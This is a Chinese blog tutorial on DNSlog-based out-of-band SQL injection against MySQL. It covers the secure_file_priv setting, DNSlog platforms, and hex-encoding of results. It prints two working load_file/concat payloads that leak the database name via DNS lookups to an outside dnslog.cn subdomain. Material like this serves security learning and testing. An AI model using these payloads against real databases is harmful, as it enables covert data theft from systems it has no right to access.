【SQL注入-有回显】DNS请求注入:原理、平台、使用过程、配置

阅读 49

2022-07-13


目录

​​一、DNS请求注入​​

​​1.1、DNSlog平台:​​

​​1.2、DNSlog注入原理​​

​​二、前提条件:​​

​​2.1、简介:​​

​​2.2、查看配置:​​

​​2.3、配置设置:​​

​​2.4、相关函数:​​

​​2.5、UNC路径​​

​​三、DNSlog注入过程:​​

​​3.1、第一步:Get SubDomain  获得域名​​

​​3.2、第二步:构造注入语句​​

​​3.3、第三步:查看域名头部,带出了查询的信息​​

​​四、DNSlongsqlinj工具​​

一、DNS请求注入

1.1、DNSlog平台:

​​http://www.dnslog.cn​​

​​http://ceye.io​​

​​http://admin.dnslog.link​​

1.2、DNSlog注入原理

dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据

在无法通过联合查询直接获取数据时,只能通过盲注,来一步步的获取数据,手工测试是需要花费大量的时间,使用sqlmap直接去跑出数据,但是有很大的几率,网站把ip给封掉,这就影响了测试进度

二、前提条件:

2.1、简介:

dns带外查询属于MySQL注入

在MySQL中有个系统属性,secure_file_priv特性,有三种状态

secure_file_priv为null    表示不允许导入导出

secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

secure_file_priv没有设置时,则表示没有任何限制

2.2、查看配置:

是否配置好,打开数据库

【SQL注入-有回显】DNS请求注入:原理、平台、使用过程、配置_sql

 因为我的secure_file_priv设置过,所以没有任何限制

2.3、配置设置:

打开MySQL文件夹,打开my.ini配置文件

【SQL注入-有回显】DNS请求注入:原理、平台、使用过程、配置_数据库_02


三、DNSlog注入过程:

3.1、第一步:Get SubDomain  获得域名

【SQL注入-有回显】DNS请求注入:原理、平台、使用过程、配置_数据库_04


3.2、第二步:构造注入语句

(根据实际情况构造)

  select load_file(concat('//',(select database()),'.casro0.dnslog.cn/abc'))

  select load_file(concat('\\\\',(select database()),'.casro0.dnslog.cn\\123'))

load_file()函数访问的是文件,所以域名后面需要添加/abc

成功注入后,在数据库中运行

【SQL注入-有回显】DNS请求注入:原理、平台、使用过程、配置_数据库_05

【SQL注入-有回显】DNS请求注入:原理、平台、使用过程、配置_服务器_06


3.3、第三步:查看域名头部,带出了查询的信息

【SQL注入-有回显】DNS请求注入:原理、平台、使用过程、配置_mysql_07

注意:外带信息有特殊字符,如@

可以将查询语句后的结果进行转码

即上面的(select database())-------->hex(select database())等形式


精彩评论(0)

0 0 举报